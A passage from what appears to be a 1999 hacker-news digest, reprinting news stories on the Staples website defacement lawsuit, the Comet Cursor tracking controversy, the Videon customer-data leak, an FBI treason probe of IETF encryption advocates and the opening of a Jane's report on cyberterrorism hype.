But Staples, which just announced third-quarter Internet sales revenue of $24
million, is taking the Web-site intrusion seriously and is determined to identify
the culprit and report him to federal authorities, Lapierre said.
Meanwhile, federal authorities have been on the lookout for Internet fraud.
Federal law prohibits unauthorized access to a computer and calls for as
much as 10 years in prison if damage is caused recklessly as a result of the
breach.
''Obviously e-commerce is a very important part of our business and very
important to the company,'' said Lapierre.
Staples's goal is to have 1 million on-line customers and $1 billion in Internet
sales by 2003, Lapierre said.
Staples, which did $7 billion in sales last year and which operates more than
1,000 office superstores, launched its Web site a year ago.
While monitoring the site Oct. 9, officials noticed that products advertised
throughout the Web site had been deleted and replaced with products bearing
the Office Depot logo.
The suit said that the Office Depot advertisements contained links to the
Florida company's Web site, meaning that Staples's shoppers who clicked on
the illegally advertised products were redirected to the competitor's Web site.
Shoppers were diverted from Staples to Office Depot for about an hour
before the problem was corrected, Lapierre said.
In addition to lost business, Staples alleges that it cost the company time and
money to repair its Web site and to determine the extent of the security
breach.
Calls to Office Depot, the world's largest seller of office products, were
referred to the company's vice president of public relations, who couldn't be
reached for comment late yesterday.
Lapierre said the problems created by the hacker had never happened to
Staples before. ''It's an interesting time we live in,'' she said.
Staples's stock rose yesterday to close at 23-13/16 in trading on the Nasdaq
market. Office Depot closed at 11 1/2, down , on the New York Stock
Exchange.
This story ran on page D01 of the Boston Globe on 11/30/99.
� Copyright 1999 Globe Newspaper Company.
Associated Press;
Story Filed: Tuesday, November 30, 1999 12:50 PM EDT
BOSTON (AP) -- Office supply store Staples has filed suit against an
unnamed hacker who broke into its Internet site and posted
advertisements that led Web browsers to the home page of one of its
chief competitors.
In the suit filed Monday in U.S. District Court in Boston,
Framingham-based Staples charged that the hacker, referred to as
``John Doe,'' illegally entered the site and damaged Staples by
stealing e-commerce business.
The suit claims that ``John Doe'' lives in or near Massachusetts, and
that the company expects to identify him shortly.
The hacker broke into the Staples Internet site on Oct. 9 and posted
advertisements for Office Depot. Shoppers who clicked on the Office
Depot products were linked to the Office Depot home page. The problem
was corrected after about an hour.
In the suit, Staples alleges that, aside from a loss of money, it cost
time and money to find and fix the security breach.
Staples officials speculated that changes to the Web page were a prank,
and discounted the possibility that its competitors were behind it.
Gary Schweikhart, an Office Depot spokesman, said Tuesday the company
was outraged by the computer hack and said Office Depot had no part in
it.
``We're not that dumb and at the same time we would not condone any
activity that is illegal and unethical,'' he said.
Federal law calls for a maximum of 10 years in prison if damage is
caused as a result of unauthorized access to a computer.
Staples, which did $7 billion in sales last year, launched its Web site
a year ago. The company hopes to have 1 million Internet customers and
$1 billion in Internet sales by 2003, Lapierre said.
Copyright � 1999 Associated Press Information Services, all rights reserved.
@HWA
06.0 Comet bows to consumer pressure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
contributed by Ted
Yesterday Comet Systems Inc. was accused of
collecting data on consumers web surfing practices with
their free cursor changing software. The software
Comet Cursor, is installed on over 16 million systems and
tracks web usage of over 60,000 web sites. Following
rampant consumer outcry over the practice Comet
Systems has agreed to allow consumers to delete the
serial number used to track individual web surfing habits
and will also seek certification from Truste, the industry
privacy watchdog group. Truste's certification of Comet
Systems could take 45 to 60 days.
Associated Press - via San Jose Mecury News
http://www.sjmercury.com/svtech/news/breaking/ap/docs/1137191l.htm
Software firm in privacy flap
BY TED BRIDIS
Associated Press Writer
WASHINGTON (AP) -- A company that offers free software to change an
Internet browser's computer cursor into cartoon characters promised
Tuesday to let people delete a serial number the company was using to
track customers across the Internet.
Responding to an outcry over the privacy implications of its software,
Comet Systems Inc. also said it will seek certification from Truste, an
organization that monitors whether Web sites are following the privacy
promises they make to consumers.
Truste said Comet Systems had ``significantly damaged the trust of their
customers.''
New York-based Comet Systems acknowledged Monday that its cursor software
-- used by more than 16 million people -- reports back to its own
computers with each customer's unique serial number each time that person
visits any of 60,000 Web sites that support its technology.
Those sites include dozens aimed at young children, such as those for the
Dilbert and Peanuts characters of United Feature Syndicate Inc. and the Ty
Inc. site for Beanie Babies.
Comet said it never violated customers' privacy because it does not
attempt to match its serial numbers against anyone's real-world identity.
But it said Tuesday it will allow customers to delete those numbers,
anyway, although the numbers helped Comet keep an accurate census of its
customers for marketing and billing purposes. Some Web sites pay Comet
based on the number of visitors using the cursor-changing technology.
Customers will be able to download a program starting Wednesday from
Comet's Web site, at www.cometsystems.com, to replace their serial number
with a meaningless number that isn't unique.
``If that's what we need to do to appease users, we'll do that,''
spokesman Ben Austin said.
Comet's certification to Truste could take 45 to 60 days. But that
organization only monitors data collected at a company's Web site, not by
its stand-alone software programs.
``We don't cover software privacy practices,'' Truste spokesman David
Steer acknowledged Tuesday. ``Comet Systems has realized they have
significantly damaged the trust of their customers, and they're looking at
ways to rebuild that trust.''
Critics said earlier that the company should have more openly disclosed
the behind-the-scenes transmissions, which are made without warning. They
also said it would not be difficult given today's technology to begin
correlating the Comet serial number with a consumer's identity if the
company suddenly decided to or if Comet -- with its extensive tracking
database -- were purchased by new owners willing to do that.
``The typical guy who goes to Best Buy and buys a computer and installs
this software, he'll never know about this stuff,'' said programmer Dave
Gale of Tampa, Fla. ``It's like a toy, but you wouldn't expect a toy to
follow you around on the Internet.''
Steer, the spokesman for Truste, said other companies also undoubtedly are
clandestinely monitoring the online behavior of their customers.
``I believe there are a lot of other software companies that are
collecting personal information and not disclosing it,'' he said. ``That
is just no longer acceptable.''
Internet discussion groups were filled Tuesday with messages from angry
people who believed the cursor software did or could violate their
privacy.
In a statement published on the company's Web site, Comet President Jamie
Rosen said the company was ``quite surprised'' at the privacy questions
because the software doesn't ask for a customer's name, e-mail address or
other personal information.
``We deeply regret that this has caused concern among our users and we
pledge to be a leader in the area of online privacy in the future,'' he
said.
@HWA
07.0 Personal Info of Canadian ISP Users Leaked
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Astroboyz and dj.tazz
The personal information on almost 2,700 Internet users
in Manitoba Canada was stolen and spread across the
Internet. Users of the Videon Wave's Internet cable
services had thier account numbers, along with
customer names, addresses, phone numbers, user
names and passwords stolen. The intrusion into Videon
systems took place almost two weeks ago however the
company never notified any of the effected customers.
The incident has not been reported to the local Police or
the RCMP.
Winnipeg Free Press
Does anyone have a better link? This one is about to
expire.
http://205.200.191.20/cgi-bin/LiveIQue.acgi$rec=3673?search
Hackers tear cover off Videon security
Tue, Nov 30, 1999
By Doug Nairne
Legislature Reporter
PERSONAL INFORMATION on almost 2,700 Videon cable modem customers has been
obtained by Internet hackers in what is being called one of the most
damaging computer attacks ever against a Manitoba company.
The information has become a hot property as it is passed around the
city's computer underground, while irate customers are demanding to know
why Videon didn't notify them that their names, phone numbers and
passwords had been taken.
The list includes 2,688 Videon account numbers, along with customer names,
addresses, phone numbers, user names and passwords.
Reid Eby, an Internet security consultant and president of Interlink
Online Services, said hackers could use the information to access people's
Internet accounts and send and receive e-mail as if they were the owner.
E-mail that has already been downloaded to a computer is safe, but
all incoming messages can be intercepted. There is no impact on Videon
cable TV subscribers, only cable modem users.
"If they got the user names and passwords, this is the worst incident I've
ever heard about locally," Eby said. "Given what is going on with hacking,
placing any client information on-line in this day and age is silly."
Eby said the Videon information would also be valuable for sale to direct
marketers and junk mailers, who would covet the contact data for high-end
computer users.
Anyone who does any business transactions on-line may also be in danger,
especially if their credit card numbers are transmitted back to them in a
receipt. Hackers could also use the information to "socially engineer" a
target, tricking people into revealing more information about
themselves or making their computers vulnerable to intrusion.
Videon spokeswoman Nadine Delisle said that a routine security sweep last
week showed that customer information had been pilfered. She claimed that
no passwords were obtained, although lists being circulated clearly
include passwords, user names and other information.
Despite the criminal nature of the intrusion, city police and RCMP said
the incident has not been reported to their investigators.
Sources say the hack took place during the second week of November, but
none of the Videon customers contacted by the Free Press yesterday knew
that anything had happened.
"I'm a little surprised that we were never notified about this," said
businessman Sam Katz, whose wife's personal cellular phone number is on
the list, along with his other information. "I'd like to think these
things are a little bit better secured."
Delisle said Videon decided the information wasn't sensitive, so customers
were not informed about the security breach.
"The risk seemed to be very minimal," she said. "It was not assessed to be
important."
Katz disagreed, saying he plans to find out why he wasn't notified.
Winnipeg police Const. Bob Johnson said companies often don't report
hacking because they are concerned about bad publicity.
Delisle said the incident was not "serious enough" to report to police.
"We closed the security hole so that this will not happen again, that was
the priority," she said.
But a spokeswoman with the Canadian Radio-television and
Telecommunications Commission said Videon customers can file a complaint
against Videon and demand an explanation.
"People should be able to get the reasons why their private information
was leaked out," she said.
The customer list contains a wide cross-section of Winnipeggers, including
doctors, business people, university professors, journalists and even
computer security experts. The hackers say they could pose as any one of
the people on the list, although there is no evidence that anyone
has done so yet.
Hackers contacted said they were particularly pleased to get the personal
information of one Videon customer -- a computer security expert who has
written articles on the psychology of hackers, describing them as geeks
and loners.
Meanwhile, Ron Campbell, another cable modem customer whose details have
been disclosed, said he is upset about the incident but that he doesn't
blame Videon for the security breach.
"I don't particularly think Videon could have stopped this from
happening," he said. "I assume they had some security in place."
PHOTO ILLUSTRATION BY JOE BRYKSA/WINNIPEG FREE PRESS
Hackers managed to breach Videon's security and gain access to customers'
personal files.
@HWA
08.0 First Internet Piracy Case in Japan
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Galleon
A 21-year-old student has been accused of illegally
distributing over 170 titles of game software for
different Nintendo machines. This is the first case of an
unauthorized delivery of game software via the Internet
in Japan.
Asia Biz Tech
http://www.nikkeibp.asiabiztech.com/wcs/frm/leaf?CID=onair/asabt/news/85776
Hokkaido
Police Pursue Unauthorized Net Delivery of Game Software
December 1,
1999 (TOKYO) -- The Hokkaido Prefectural Police's Sapporo Kita Station
alleged that a college student delivered unauthorized game software
over the Internet.
It sent papers on Nov. 25, 1999 to the Sapporo District Prosecutor's
Office for prosecution.
The 21-year-old student, who has been accused of illegally distributing
about 180 titles of game software for Family Computer (Famicon) and
Game Boy game machines made by Nintendo Co., Ltd., is suspected of
infringing on rights under the Copyright Law.
The case is the first disclosure of an unauthorized delivery of game
software via the Internet in Japan.
The college student reportedly distributed the software on his own
Web page,labeled as "information exchange," to seem as if the
delivery did not constitute downloading of game software.
Game software for sale is usually recorded in read-only memory (ROM).
The student ran software which emulates a game machine on a personal
computer, and stored the game software recorded in these ROMs on
a hard disk drive on the PC and uploaded it onto a Web server.
According to Association for Copyright for Computer Software (ACCS),
which assisted the police in the disclosure of the case, there
seemed to be a lot of downloading from the suspect's Web site, but
it does not know how many downloads were actually made.
An ACCS spokesman said that software distribution without authorization
of an author itself is unlawful. In addition, the suspect knew
the case was illegal, intentionally concealed the illegal uploading
and downloading and distributed not just a few software programs over
the Internet, the spokesman said.
ACCS assumes there must be many other cases of illegal uploading and
downloading of game software via the Internet. The association
therefore hopes that the disclosure of the case will serve as a warning
to the public.
[Comment by BizTech]
The disclosure of the illegal uploading and downloading of game software
was based on a "breach of the Copyright Law." However, there are various
applications of the Copyright Law depending on the case. In this case, the
college student was suspected of "infringing on the right of public
transmission under the Copyright Law."
"The right of public transmission (Article 23 of the Copyright Law) is an
author's proprietary right to transmit his or her work to the general public
via broadcasting and/or communications. For example, an author's authorization
will be needed for any broadcasting of a work in a television or radio program.
(Note. In Japan, granting of copyrights and collection of license fees for
the majority of musical works are performed by the Japanese Society for
Rights of Authors, Composers and Publishers (JASRAC).) Distribution of
works over the Internet is included in the public transmission right.
Distribution of any software and musical data over the Internet shall constitute
infringement on the public transmission right and thus breaches the Copyright Law.
(Note. Any case which constitutes "reference" under the Copyright Law
shall be excluded from this case.)
For example, if someone transforms Celine Dion's hit number, "My heart will go
on," into MIDI data without obtaining Dion's permission and plays the song
on his or her own Web site as background music, strictly speaking such
an act would constitute infringement or the public transmission right.
(Note: Any works whose copyright is obviously expired shall be excluded from
this case. For example, any distribution of MIDI data of well-known works
such as a composition made by Mozart, Beethoven or Chopin, is generally
legal.)
In this case, the college student uploaded game software on a Web server
without obtaining authorization of the authors of the game software, and
enabled anybody who can access the Web site to download the software
programs. This is called "enabling of public transmission." The case infringes
on the public transmission right.
In addition to infringing on the public transmission right, the suspected
student also breached the Copyright Law for uploading of the game software on
the Web server because the student made unauthorized copies of software
(Infringement on the reproduction right, Article 21 of the Copyright Law).
In the case, the suspect made unauthorized copies when copying the game software
from ROMs to the hard disk drive of his or her PC and when copying it from
the hard disk drive to a hard drive on the Web server. Because of the suspect's
ultimate objective was to distribute of software over the Internet, the
case does not constitute a "reproduction for private use" under Article 30
of the Copyright Law, and thus breaches the Copyright Law. The suspect repeatedly
breached more than one provision of the Copyright Law, even though the other
breaches were not disclosed.
(Kazumi Tanaka, Deputy Editor, BizTech News Dept.)
@HWA
09.0 FBI Launches InfraGuard in Ohio
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
A national program known as InfraGuard, developed by
the FBI to promote information sharing among law
enforcement, industry, the academic community and the
public about computer network intrusions and computer
system vulnerabilities, was officially launched in Ohio
yesterday. Over 200 people where expected at the
kickoff meeting. (Watch for an exclusive insiders report
on InfraGuard coming soon to HNN.)
The Cincinnati Post
http://www.cincypost.com/news/hacker112999.html
C I N C I N N A T I P O S T
FBI leads new effort to help
thwart hackers
Post staff report
Nearly 200 people were expected at today's kickoff
meeting of a group organized by the FBI to thwart
hackers from breaking into government, industry and
academic computer systems in Cincinnati and southern
Ohio.
Speakers included Cincinnati FBI agent in charge
Sheri Farrar, Southern Ohio U.S. Attorney Sharon
Zealey, Ohio Bureau of Criminal Identification and
Investigation Superintendent Ted Almay and
representatives from the FBI's National Infrastructure
Protection Center.
The regional meeting, held at Deer Creek State Park
in Pickaway County, is part of a national program
developed by the FBI and industry to promote
information sharing among law enforcement, industry,
the academic community and the public about
computer network hacking and computer system
vulnerabilities.
So-called ''InfraGard'' chapters are designed to help
protect the nation's information systems from cyber
and physical threats. The Cincinnati FBI's chapter
includes the 48 southern-most Ohio counties, including
Cincinnati, Dayton and Columbus.
A national InfraGard program was developed after
President Clinton directed the FBI to identify and
coordinate computer infrastructure protection experts
inside and outside the federal government.
Members of the Cincinnati chapter include the Ohio
Supercomputer Center, American Electric Power,
Ohio State University and Bank One.
Members eventually will have access to an Alert
Network that will allow them to use encryption
technology to report attacks on their computer
systems to the FBI. The FBI will provide what it calls
a ''sanitized'' description of the incident, without
identifying the source of the report, to other chapter
members so they can take actions to protect their own
systems.
Members also will have access to an InfraGard Web
site being created by the FBI that will provide timely
information about computer protection issues.
Target: Hackers
InfraGard is seeking more regional chapter members
from telecommunications, banking, energy and
transportation industries, as well as from academic
institutions, hospitals and government agencies.
For more information, call Cincinnati FBI agent
Roger Wilson at (513) 421-4310.
Publication date: 11-29-99
@HWA
10.0 National Gun Database Goes Online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
A national gun database, Online Lead, was activated
Tuesday at all 331 branches of the Treasury
Department's Bureau of Alcohol, Tobacco and Firearms.
The system is available to police and other local law
enforcement officials through ATF offices. The database
included the gun's make and serial number, and the
complete chain of sale from manufacturer to wholesaler
or distributor to the first retail sale by a federally
licensed gun dealer. Officials have said that security
measures to protect the database from malicious
intruders has been taken but did not elaborate.
Associated Press
http://library.northernlight.com/EB19991130720000025.html?cb=0&dx=1006&sc=0#doc
Story Filed: Tuesday, November 30, 1999 11:44 AM EDT
WASHINGTON (AP) -- Federal and local law enforcement officials are getting
a new high-tech tool to fight crime: a nationwide computer system that
aims to trace guns used during crimes.
The system, called Online Lead, is administered by the Treasury
Department's Bureau of Alcohol, Tobacco and Firearms and has been
operating on a limited trial basis since February.
``Online Lead takes our fight against gun traffickers into cyberspace,''
said Treasury Secretary Lawrence Summers, who made the announcement today.
``It gives federal, state and local law enforcement officials throughout
the country a new tool to help identify and arrest gun
traffickers.''
Starting today the computer system is operating full time and is widely
available. Specifically, the system is in use at all 331 ATF field
offices. Although police and other local law enforcement officials can't
tap directly into the system on their own, they can access the
system through ATF.
Local law enforcement officials are encouraged but not required to ask ATF
to trace guns used during crimes. The results of those traces are entered
into a growing national database, which now has information on more than 1
million traced firearms.
ATF has been tracing guns used in crimes for years, but the sophisticated
software used in the new online system should make it much easier for
investigators to analyze trends and patterns in illegal firearms
trafficking, law enforcement officials said. For police and other
local law enforcers, the system may provide new leads and additional
information about crimes, they said.
Online Lead is updated frequently and provides information on a traced gun
one day after it is completed.
The new system evolved from earlier projects that aim to provide
investigators access to data on guns used in crimes. Those systems stored
information on traced guns on computer discs that had to be shipped to ATF
field offices, a slow process. The new online system gives law
enforcers fast access to such information.
Information about all firearms traced by the ATF goes into the national
database and is available on the new online system. What agents can trace
is limited. They start with a gun's make and serial number, moving forward
from the manufacturer to a wholesaler and distributor to the first
retail sale by a federally licensed gun dealer.
All sales by licensed dealers must be recorded, and those records must be
made available to ATF. But any sales by individuals or by collectors at
gun shows, for example, are considered private and exempt from such
record-keeping requirements.
Copyright � 1999 Associated Press Information Services, all rights reserved.
@HWA
11.0 Zero Knowledge Ships Freedom, Finally
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Jordan
After what seemed like an agonizingly long beta period
Zero Knowledge Systems has finally shipped Freedom
1.0. Freedom works seamlessly alongside your favorite
browser and other Internet applications. You can surf
the web, send email, chat, telnet, and participate in
newsgroups as you normally would, only now with
complete confidence that your personal information is
not being collected without your consent. Freedom
identifies you on the net with a 'nym' that you choose.
There can be only one 'nym' so unless you want
something like 'Tom4538720' you should reserve yours
today.
Freedom 1.0
http://www.zks.net/clickthrough/click.asp?partner_id=542
@HWA
12.0 OpenBSD 2.6 Ships
~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Theo
What is probably the most secure operating system
available has shipped its new version. OpenBSD 2.6 is a
FREE, multi-platform 4.4BSD-based UNIX-like operating
system. It emphasizes portability, standardization,
correctness, proactive security and integrated
cryptography. Some of the new features include the
addition of ssh (OpenSSH) and Perl 5.005_03 to the
base system, reliability patches for the PowerPC port,
improved support for ext2fs, USB support, a faster
install process and a lot more.
OpenBSD
http://www.openbsd.org/
@HWA
13.0 Videon Was Warned of Data Loss
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by dj.tazz and P_Simm
The Canadian ISP, Videon, was warned that it had left
its customer database available on the web for all to
see. Days later, after the database had made the
rounds on the net the security issue was resolved.
Customers however where never notified by the
company. They did not find out about the problem until
weeks later when it appeared in the local newspaper.
Videon has confirmed that they received the emailed
warning and failed to act in a timely manner to prevent
the loss of customer account numbers, names,
addresses, phone numbers, user names and passwords.
Winnipeg Free Press
http://205.200.191.20/cgi-bin/LiveIQue.acgi$rec=3772?search
Videon ignored Web security breach
E-mail warning of leak never received reply
Wed, Dec 1, 1999
By Doug Nairne
Legislature Reporter
VIDEON WAS warned that its cable modem customer list was left unprotected
on the Internet but failed to act for at least a day, allowing hackers a
chance to pilfer the sensitive information, the Free Press has learned.
An e-mail message identifying the security leak was sent to Videon
security staff on Nov. 10, which is thought to be the day prior to when
personal details on about 2,700 people were downloaded.
A man who asked to be identified only by his computer user name, "Grub,"
said he sent the warning after stumbling on the customer data base while
surfing the Videon Web site.
Despite Videon's insistence that the information was taken after a
"deliberate attack," Grub said he found it sitting out in the open where
anyone could have seen it.
"When I found this I thought, 'Holy smokes, I can't believe this is up
there,' " he said. "They might as well have written out the list and taped
it to the front door."
Grub said he e-mailed Videon warning them of the problem but never
received a reply.
"They make it sound like a big computer attack, but it was probably just
their own stupidity," he said.
Sometime later, the list was discovered by someone else and copies began
to be made. According to Videon, customer names, addresses and phone
numbers have been posted to an Internet chat group, where it would be
widely accessible.
Videon spokeswoman Nadine Delisle confirmed that Videon received the
warning e-mail. She said that a combination of bad judgment by staff and
the Remembrance Day holiday resulted in the message initially being
ignored.
"At the time it was not perceived to be a big risk," she said. "In
retrospect, that may have been an error in judgment."
Hackers ended up getting what they describe as a gold-mine of information,
including account numbers, names, addresses, phone numbers, user names and
passwords. They say the information can be used to intercept people's
e-mail or to assume someone else's identity on the Internet.
After playing down the security leak Monday, Videon was scrambling to deal
with the crisis yesterday. Senior executives and communications staff were
in emergency meetings most of the day.
Delisle said Videon was planning a massive e-mail broadcast to all its
cable modem customers to inform them of the incident, and will provide
instructions on how to take precautions like changing passwords.
She said Videon also wants to reassure people that their billing
information and credit card numbers were not revealed.
An internal investigation is being carried out, and an outside firm will
be brought in to do a full security audit, Delisle said.
About a dozen angry customers called the Free Press yesterday, most
wanting to know why Videon didn't tell anyone what had happened --
including the police -- until yesterday, more than two weeks after they
found out the information was taken.
While passwords can be quickly changed, other information like addresses
and phone numbers are also being passed around, leaving people vulnerable.
One woman, who asked not to be identified, said she is outraged that she
was not told her information had been downloaded.
"Anyone with a computer may be able to get my name and phone number, and
address," she said. "My daughter won't be playing outside alone anytime
soon, because now I won't know if some pervert has gotten my address and
is lurking around my house."
The woman said she is considering cancelling her account.
Delisle said that in retrospect the decision to keep the incident quiet
may not have been the right one.
"We're still piecing together all the details of what happened," she said.
"The important thing is that this does not happen again."
Videon will set up a Web site to help customers at www.videon.ca/secure
and also plans to take out ads in Winnipeg newspapers to explain what
happened.
Videon customers have set up at least one other site with instructions on
changing passwords. After being on-line for only 90 minutes, the site had
29 hits.
@HWA
14.0 German Digital Signature Chip Broke
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by cripto
After months of intense lobbying for a secure system
and only days after being ratified by the European Union
the German Digital Signature has been broken. The
digital signature card, developed by Siemens, is to be
used in cashless payment systems and access control
systems. With data dumps of the SLC44/66 chip and
information explaining its design floating around the
Internet anyone using the so-called Geldkarte system
stands the risk of having money transferred without
their knowing it.
The UK Register
http://www.theregister.co.uk/991201-000021.html
Posted 01/12/99 4:19pm by Mike Magee
Siemens German digital signature chip hacked
Hackers have succeeded in cracking the Siemens digital signature card used in
cashless payment systems and access control systems across the country.
The German Digital Signature was ratified by the European Union only a few days
ago, after intense lobbying for a secure system for transactions.
The serious breach of security means that anyone using the so-called Geldkarte
system stands the risk of having money transferred without their knowing it.
A dissasembled dump of the SLC44/66 chipcard CPU in TeX, along with two pages
of German text explaining the design has been available on bulletin boards for some
time, according to the source.
The dump is currently being re-engineered and commented, according to a source,
and the knowledge gained has already been used to get hold of Telesec private keys.
�
@HWA
15.0 IETF Members Under Investigation For Treason
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
Some members of the Internet Engineering Task Force
seem to be under investigation by the DOJ and FBI. The
reason for the investigations seems to be the desire to
include encryption and exclude back door capabilities in
new protocols proposed by the IETF. The investigations
are centered around treason charges.
NT Security
http://www.ntsecurity.net/go/2c.asp?f=/news.asp?IDF=186&TB=news
ZD Net
http://www.zdnet.com/zdtv/cybercrime/chaostheory/story/0,3700,2398590,00.html
Crypto Advocate Under FBI Investigation
Tuesday, November 30, 1999 - We recently published a story
regarding cryptography and IPv6, where somseone at the
Department of Justice accused Scott Bradner, Internet Engineering
Task Force (IETF) area coordinator, of an anti-social act by trying to
get encryption inserted into the new protocol. Later, at an IETF
meeting where votes were taken for IPv6 encryption inclusion, Fore
System's Brian Rosen brazenly claimed that regardless of any
encryption inclusion, Fore systems would proceed by including back
doors into any included encryption technology. But the harrassment
of the IETF doesn't stop there.
Just how far will our federal government go towards controlling
strong encryption? Apparently, very far. And this isn't a new effort
by any means. We learned that William Allen Simpson, a
Detroit-based computer consultant who was on the IETF staff, has
been investigated by the federal government for treason charges.
Simpson was the person that argued loudly for encryption to be
included in the PPP protocol when it was still in design phases. That
push landed Simpson in hot whatever with federal officials. Simpson
learned through friends that he was under investigation for treason
-- the FBI had been interviewing his friends and associates.
Simpson obtained 54 pages of documents from the government under
the Freedom of Information act, however the documents were
heavily censored, including the bureau's basis for the investigation.
According to a ZDTV report, Simpson did learn that the FBI had
accused him of "challenging authority and laws that may impinge
upon his activities."
Wait a second! Isn't that part of what the Constitution is all
about--the means to peacefully object to the laws of the land? I
think so. And if that's true, then that certainly positions the FBI in a
bad light since it would appear their actions are counter to the
Consitutional rights. It not against the law to develop strong
cryptography, but it is against the law to export that technology
outside of proper governmental controls. The PPP protocol did not
have encryption at the time--it was only a suggested inclusion--so
why investigate a person for doing something completely legal?
The IETF is an open public standards body that conducts its business
in clear public view. They help stear standards that better ensure
compatibility and interoperability. So why would the FBI investigate
an IETF member just because that person suggested in a public
meeting that strong encryption be included in a standard
wide-spread protocol such as PPP?
ZDnet;
The New Crypto-Commies
Could arguing for strong encryption be
the next 'un-American activity' that
justifies blacklists and secret FBI
investigations?
By Kevin Poulsen November 24, 1999
Newly released documents show that the
FBI closely monitored a key member of the
standard-setting Internet Engineering
Task Force (IETF) in 1992 and 1993, as
he waged a doomed battle to inject
crypto support into an emerging critical
Internet standard.
William Allen Simpson, a Detroit-based
computer consultant, was on the IETF.
The team was developing the "Point to Point
Protocol" (PPP), designed to
facilitate Internet access over dial-up
modems. Simpson was making waves in
the PPP Working Group by loudly arguing
for inclusion of crypto support in the
protocol, which today is used by the vast
majority of home Internet users to go
online.
In 1993, Simpson learned from a family
member and colleagues that his efforts
had drawn the FBI's interest. As he recalls
it, the bureau was accusing him of a
capital offense.
"Two guys came up to me at a meeting,"
Simpson recalls. "They said, 'Bill, I was
interviewed for a treason investigation by
the FBI'."
"Bill was advocating encryption for
authentication and for privacy in
standardized Internet protocols," recalls
Electronic Frontier Foundation cofounder
John Gilmore, who heard of the
investigation and suggested that Simpson
request his FBI file under the Freedom of
Information Act.
"He's kind of an iconoclast," Gilmore told
me. "He follows his own way and
sometimes it pisses people off, but it can
be an advantage when you're faced with
a Kafkaesque investigation by the
government. He has the tenacity to stick
with it until he finds the truth."
After six years of wrangling, Simpson
finally pried 54 pages from the grasping
hands of the domestic spies last
Wednesday, only to find that the
documents were heavily censored.
@HWA
16.0 Jane's Releases Cyberterrorism Report
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by turtlex
Jane's Information Group has released its much
anticipated report on cyberterrorism. While the actual
information in the article seems rudimentary and crude
its conclusions about the possibility of a full out terrorist
attack over the internet being extremely remote seem
dead on. (Warning this is an extremely long and dry
article that presents litte new information.)
Jane's Defense Weekly
http://jir.janes.com/sample/jir0525.html
Cyberterrorism hype
With the 1990s propensity to dot.com everything that moves, 'hacking' and
'cyberterrorism' have become subjects of intense media coverage. Almost daily,
hitherto unknown security specialists warn of potential catastrophes: news that
gets picked up by the media and crosses the globe with impunity. Johan J
Ingles-le Nobel discussed the subject with programmers at Slashdot to profile
so-called cyberterrorists and examine the viability of cyberwarfare.
Cyberterrorism is a buzzword of 1999. Indeed, with the
remarkable growth of the Internet, hacking horror stories
have reached new heights of publicity, leading to a veritable
media frenzy. Yet careful examination of the issue reveals
much of the threat to be unsubstantiated rumour and media
exaggeration. The exaggeration is understandable, however
- these technologies underpin our entire society, and what paper can resist
printing a scoop revealing that banks are being blackmailed with threats of
attacks on their computers, or that a military satellite has been hijacked by
hackers? The idea that an anonymous teenager working alone from his bedroom
can wreak electronic havoc on the far side of the world makes for good press.
What is a hacker?
Nothing gets a hacker's back up quicker than someone confusing a hacker with
cracker. The term 'hacker' refers to an individual who programmes
enthusiastically (even obsessively), enjoys programming or is especially good at
programming; a 'cracker' is somebody who breaks into another's computer
systems or digs into their code (to make a copy-protected programme run). Yet
the boundaries have become somewhat blurred and the popular understanding of
these terms is is quite wrong: ever since Hollywood produced 'Wargames', based
on Kevin Mitnic's cracking activities (known as 'exploits'), the term 'hacking' has
become synonymous with unauthorised access into restricted systems - which
is 'cracking'. In today's world, such activity also includes the deliberate
defacement of websites. Hackers are quick to point out that there is a code of
hacker ethics that precludes any profit from the activity - the only motive is the
activity itself - but they are not na�ve: realising the potential for misuse, they
divide themselves into 'white-hat' hackers (ethical hackers) and 'black-hat'
hackers (crackers).
According to hackers, 99% of cracking incidents can be blamed on so-called
'script-kiddies'. These are usually young people who manage to acquire some
'cracking tools' somewhere on the Internet and are keen try them. They choose a
'cool' target (such as NASA, the Pentagon or the White House) and launch the
tools. Older, more established
hackers see them as upstarts. Think of a kid walking down a corridor
testing doorknobs; whilst they are more than capable of defacing
websites such as that of the Central Intelligence Agency (CIA), their
actions are seen as the equivalent of putting down a whoopie cushion
on the chair of the UN Secretary General - juvenile, noisy and
somewhat embarrassing, but ultimately without real effect. Says Mick
Morgan, webmaster to the UK's Queen Elizabeth: "I have nightmares about
waking up to find graffiti (which is all it is) on one of my customer's sites."
However, even minor exploits illustrate one of the many paradoxes facing
computer security. Specific websites, intended for the computer systems
administrators and webmaster audiences, monitor the security vulnerabilities
(bugs) in software that allow exploits to take place. The purpose of these
websites is to distribute the corrective programming 'patches' that rectify the
bugs. However, such sites are open to the public and are therefore the ideal
place for crackers to discover new cracks. The result of this is that the vast
majority of methods used by crackers to break into sites are known and there
are patches available. This means that many believe the responsibility for
security breaches lies not with the software supplier but with the company that
owns and operates the system. Thus, if a company suffers a security breach,
that highlights its own negligence or incompetence, which, along with the bad
publicity associated with intrusions, makes it unsurprising that many companies
are reluctant to publicise security breaches of their systems. This is especially
true of the financial sector: there have been rumours for several years that banks
have been blackmailed by hackers; confirmation has never been forthcoming.
Cracker profile
Global estimates vary, but a JIR extrapolation based on mid-1990 estimates by
Bruce Sterling, author of The Hacker Crackdown: Law and Disorder on the
Electronic Frontier, puts the total number of hackers at about 100,000, of which
10,000 are dedicated and obsessed computer enthusiasts. A group of 250�1,000
are in the so-called hacker '�lite', skilled enough to penetrate corporate systems
